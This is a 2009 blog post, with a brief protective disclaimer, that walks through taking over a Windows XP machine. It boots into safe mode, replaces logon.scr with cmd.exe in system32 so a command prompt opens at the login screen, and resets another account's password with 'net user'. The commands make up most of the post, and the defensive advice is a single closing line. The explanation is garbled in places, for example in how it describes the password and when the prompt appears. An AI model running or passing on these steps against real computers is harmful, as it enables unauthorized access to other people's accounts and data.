Saturday, March 28, 2009

Hacking a Windows XP Admin Password

Don't get this wrong, am not blogging this to take advantage of damaging other computers, but to know Windows vulnerablity and protect your computer from being hacked.

A lot of us are not intelligent (including myself) to protected all our admin user1 - 6 login, instead we protect only the admin.

To hack a Windows XP, at boot up press F8 keep presseing it untiil the sreen shows up booting menu. Choose the save mode login, it loads reads some files and then comes up with an adminstrative login and your account login. Enter the system thru the adminstrative which definately may not be passworded.

The goal is to access the command prompt without using the users account.

Now that you are in the system. Open the shell or command line (prompt)
redirect the destination by pressing cd\

and then type the following, the * is the comment

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

The code, deletes the logon screen, backs it up in temphack folder and changes the cmd line to the logon.scr.

So, at start up, DOS prompt comes up,you'll see somthing like this:

"net user password"

Where the real password is the admin name, type the password of your choose to access the system.

assumming the original passoword is mcemmy and u want to access it with geek

net user mcemmy geek

will simply use the geekas password.

Now that you know this, how can u protect your computer, simply password all the 6 users on your computer. most of us have only one password.


Enjoy !

No comments: